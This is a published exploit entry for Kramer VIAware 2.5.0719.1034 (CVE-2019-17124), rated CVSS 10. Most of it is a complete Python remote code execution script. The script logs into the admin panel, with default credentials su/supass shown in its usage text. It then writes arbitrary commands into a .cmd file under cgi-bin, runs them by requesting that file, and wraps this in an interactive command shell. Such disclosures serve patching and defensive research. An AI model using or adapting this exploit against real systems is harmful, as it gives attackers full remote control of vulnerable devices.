Kramer VIAware 2.5.0719.1034 Remote Code Execution

2022.03.31
Credit: BallO
Risk: High
Local: No
Remote: Yes
CWE: CWE-276


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: Kramer VIAware 2.5.0719.1034 - Remote Code Execution (RCE) # Date: 28/03/2022 # Exploit Author: sharkmoos & BallO # Vendor Homepage: https://www.kramerav.com/ # Software Link: https://www.kramerav.com/us/product/viaware # Version: 2.5.0719.1034 # Tested on: ViaWare Go (Windows 10) # CVE : CVE-2019-17124 import requests, sys, urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def adminLogin(s, host, username, password): headers = { "Host": f"{host}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-GB,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": f"https://{host}", "Referer": f"https://{host}/admin/login.php", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1", "Sec-Gpc": "1", "Te": "trailers", "Connection": "close" } data = { "txtUserId": username, "txtPwd": password, "btnOk" :"Login" } response = s.post(f"https://{host}/admin/login.php", verify=False) if len(s.cookies) < 1: return False else: return True def writeCommand(session, host, command): headers = { "Host": f"{host}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0", "Accept": "text/html, */*", "Accept-Language": "en-GB,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest", "Origin": f"https://{host}", "Referer": f"https://{host}/browseSystemFiles.php?path=C:\Windows&icon=browser", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin", "Sec-Gpc": "1", "Te": "trailers", "Connection": "close" } data = { "radioBtnVal":f"{command}", "associateFileName": "C:/tc/httpd/cgi-bin/exploit.cmd" } session.post(f"https://{host}/ajaxPages/writeBrowseFilePathAjax.php", headers=headers, data=data) def getResult(session, host): file = session.get(f"https://{host}/cgi-bin/exploit.cmd", verify=False) pageText = file.text if len(pageText) < 1: result = "Command did not return a result" else: result = pageText return result def main(host, username="su", password="supass"): s = requests.Session() # comment this line to skip the login stage loggedIn = adminLogin(s, host, username, password) if not loggedIn: print("Could not successfully login as the admin") sys.exit(1) else: pass command = "" while command != "exit": command = input("cmd:> ").strip() writeCommand(s, host, command) print(getResult(s, host)) exit() if __name__ == "__main__": args = sys.argv numArgs = len(args) if numArgs < 2: print(f"Run script in format:\n\n\tpython3 {args[0]} target\n") print(f"[Optional] Provide Admin Credentials\n\n\tpython3 {args[0]} target su supass") if numArgs == 2: main(args[1]) if numArgs == 4: main(args[1], args[2], args[3]) if numArgs > 4: print(f"Run script in format:\n\n\tpython3 {args[0]} target\n") print(f"[Optional] Provide Admin Credentials\n\n\tpython3 {args[0]} target su supass")


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